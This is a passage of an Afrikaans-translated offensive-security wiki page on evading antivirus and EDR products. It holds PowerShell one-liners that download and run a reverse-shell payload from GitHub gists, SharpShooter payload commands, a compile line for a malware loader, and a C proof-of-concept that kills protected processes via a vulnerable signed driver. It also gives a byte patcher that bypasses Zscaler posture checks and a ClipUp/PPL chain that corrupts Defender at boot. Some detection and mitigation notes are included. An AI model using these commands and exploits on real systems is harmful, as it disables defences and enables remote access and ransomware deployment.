REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Outomatiese aflaai en uitvoering:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

Lys van C# obfuscators: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

• https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
• https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
• https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
• https://github.com/l0ss/Grouper2
• http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
• http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/

Gebruik python vir 'n voorbeeld om injectors te bou:

• https://github.com/cocomelonc/peekaboo

Ander gereedskap

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Meer

• https://github.com/Seabreg/Xeexe-TopAntivirusEvasion

Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR vanaf kernruimte uitskakel

Storm-2603 het 'n klein konsole-hulpmiddel genaamd Antivirus Terminator benut om endpoint-beskerming uit te skakel voordat ransomware neergelaai is. Die instrument bring sy eie kwesbare maar ondertekende driver en misbruik dit om bevoorregte kernel-bewerkings uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.

Key take-aways

1. Signed driver: Die lêer wat na skyf afgelewer is, is ServiceMouse.sys, maar die binêr is die wettig ondertekende driver AToolsKrnl64.sys van Antiy Labs’ “System In-Depth Analysis Toolkit”. Omdat die driver 'n geldige Microsoft-handtekening dra, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) geaktiveer is.
2. Service installation:

sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start  ServiceMouse

Die eerste lyn registreer die driver as 'n kernel service en die tweede begin dit sodat \\.\ServiceMouse vanaf user land toeganklik word. 3. IOCTLs blootgestel deur die driver

Minimal C proof-of-concept:

#include <windows.h>

int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}

4. Why it works: BYOVD slaan gebruikersmodus-beskerming heeltemal oor; kode wat in die kernel uitgevoer word, kan protected prosesse oopmaak, hulle beëindig, of met kernel-objekte knoei ongeag PPL/PP, ELAM of ander verhardingsfunksies.

Detection / Mitigation • Aktiveer Microsoft se bloklys vir kwesbare drivers (HVCI, Smart App Control) sodat Windows weier om AToolsKrnl64.sys te laai.
• Moniteer die skep van nuwe kernel dienste en waarsku wanneer 'n driver vanaf 'n gids wat vir alle gebruikers skryfbaar is gelaai word of nie op die allow-list voorkom nie.
• Let op gebruikersmodus-handvatsels na pasgemaakte toestelobjekte wat gevolg word deur verdagte DeviceIoControl-oproepe.

Omseiling van Zscaler Client Connector se Posture Checks deur On-Disk Binary Patching

Zscaler se Client Connector pas toestel-houdingsreëls plaaslik toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerpkeuses maak 'n volledige omseiling moontlik:

1. Posture-evaluasie gebeur heeltemal kliëntkantig (n boolean word na die bediener gestuur).
2. Interne RPC-endpunte valideer slegs dat die verbindende uitvoerbare lêer signed by Zscaler is (via WinVerifyTrust).

Deur vier ondertekende binêre lêers op skyf te patch, kan beide meganismes geneutraliseer word:

Minimal patcher excerpt:

pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1

with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)

Nadat die oorspronklike lêers vervang is en die diensstapel herbegin is:

• Alle postuurkontroles wys groen/kompatibel.
• Ongetekende of gemodifiseerde binaries kan die named-pipe RPC-eindpunte oopmaak (bv. \\RPC Control\\ZSATrayManager_talk_to_me).
• Die gekompromitteerde gasheer kry onbeperkte toegang tot die interne netwerk soos gedefinieer deur die Zscaler-beleid.

Hierdie gevallestudie demonstreer hoe suiwer kliëntkant-vertrouensbesluite en eenvoudige handtekeningkontroles met 'n paar byte-wysigings omseil kan word.

Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs

Protected Process Light (PPL) handhaaf 'n ondertekenaar/vlak-hiërargie sodat slegs beskermde prosesse met gelyke of hoër vlakke mekaar kan manipuleer. Aanvallend gesproke, as jy 'n wettige PPL-geaktiveerde binary kan begin en sy argumente beheer, kan jy onskuldige funksionaliteit (bv. logging) omskep in 'n beperkte, PPL-ondersteunde skryf-primitive teenoor beskermde gidse wat deur AV/EDR gebruik word.

Wat veroorsaak dat 'n proses as PPL loop

• Die teiken EXE (en enige gelaaide DLLs) moet geteken wees met 'n PPL-geskikte EKU.
• Die proses moet geskep word met CreateProcess met die vlae: EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS.
• 'n Verenigbare beskermingsvlak moet versoek word wat ooreenstem met die ondertekenaar van die binary (bv. PROTECTION_LEVEL_ANTIMALWARE_LIGHT vir anti-malware-ondertekenaars, PROTECTION_LEVEL_WINDOWS vir Windows-ondertekenaars). Verkeerde vlakke sal by skepping misluk.

See also a broader intro to PP/PPL and LSASS protection here:

Windows Credentials Protections

Launcher tooling

• Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
• https://github.com/2x7EQ13/CreateProcessAsPPL
• Gebruikspatroon:

CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>

LOLBIN-primitief: ClipUp.exe

• Die gesigneerde stelsel-binarie C:\Windows\System32\ClipUp.exe maak 'n nuwe proses van homself en aanvaar 'n parameter om 'n loglêer na 'n deur die roeper-gespesifiseerde pad te skryf.
• Wanneer dit as 'n PPL-proses begin word, vind die lêerskryf plaas met PPL-ondersteuning.
• ClipUp kan nie paadjies met spasies ontleed nie; gebruik 8.3 kortpaadjies om na normaalweg beskermde plekke te wys.

8.3 kortpaadjie-hulpmiddels

• Lys kortname: dir /x in elke ouermap.
• Bepaal kortpad in cmd: for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA

Misbruikketting (abstrak)

1. Begin die PPL-geskikte LOLBIN (ClipUp) met CREATE_PROTECTED_PROCESS deur 'n launcher te gebruik (bv. CreateProcessAsPPL).
2. Gee die ClipUp log-pad-argument om 'n lêerskepping in 'n beskermde AV-gids te dwing (bv. Defender Platform). Gebruik 8.3 kortname indien nodig.
3. As die teiken-binarie normaalweg deur die AV oop/gesluit is terwyl dit loop (bv. MsMpEng.exe), skeduleer die skryf by opstart voordat die AV begin deur 'n auto-start service te installeer wat betroubaar vroeër loop. Valideer die opstartvolgorde met Process Monitor (boot logging).
4. By heropstart vind die PPL-ondersteunde skryf plaas voordat die AV sy binarieë sluit, wat die teikenlêer korrupteer en die opstart verhoed.

Example invocation (paths redacted/shortened for safety):

# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll

Notes and constraints

• Jy kan nie die inhoud wat ClipUp skryf beheer nie, behalwe vir die plasing; die primitief is meer geskik vir korrupsie as vir presiese inhoudsinspuiting.
• Vereis plaaslike admin/SYSTEM om 'n diens te installeer/te begin en 'n herlaai-venster.
• Tydsberekening is kritiek: die teiken mag nie oop wees nie; uitvoering tydens opstart vermy lêerlocke.

Detections

• Proses-skepping van ClipUp.exe met ongewone argumente, veral waar die ouerproses 'n nie-standaard opstarter is, rondom opstart.
• Nuwe dienste wat gekonfigureer is om verdagte binaries outomaties te begin en wat konsekwent voor Defender/AV begin. Ondersoek diens-skepping/modifikasie wat voor Defender se opstartfoute plaasgevind het.
• Lêer-integriteitsmonitering op Defender-binaries/Platform-gidse; onverwagte lêerskeppings/modifikasies deur prosesse met protected-process flags.
• ETW/EDR telemetrie: kyk vir prosesse geskep met CREATE_PROTECTED_PROCESS en abnormale PPL-vlak gebruik deur nie-AV binaries.

Mitigations

• WDAC/Code Integrity: beperk watter gesigneerde binaries as PPL mag hardloop en onder watter ouerprosesse; blokkeer ClipUp-aanroep buite geldige kontekste.
• Diens-higiëne: beperk skepping/modifikasie van outo-start dienste en monitor manipulasie van opstartvolgorde.
• Verseker dat Defender tamper protection en early-launch protections geaktiveer is; ondersoek opstartfoute wat op binêre korrupsie dui.
• Oorweeg om 8.3 short-name generering op volumes wat security tooling huisves te deaktiveer indien dit versoenbaar is met jou omgewing (toets deeglik).

References for PPL and tooling

• Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
• EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
• Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
• CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
• Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html

References

• Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer
• Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks
• Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations
• Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports
• Windows 11 Forwarded Exports Inventory (apis_fwd.txt)
• Microsoft Docs – Known DLLs
• Microsoft – Protected Processes
• Microsoft – EKU reference (MS-PPSEC)
• Sysinternals – Process Monitor
• CreateProcessAsPPL launcher
• Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)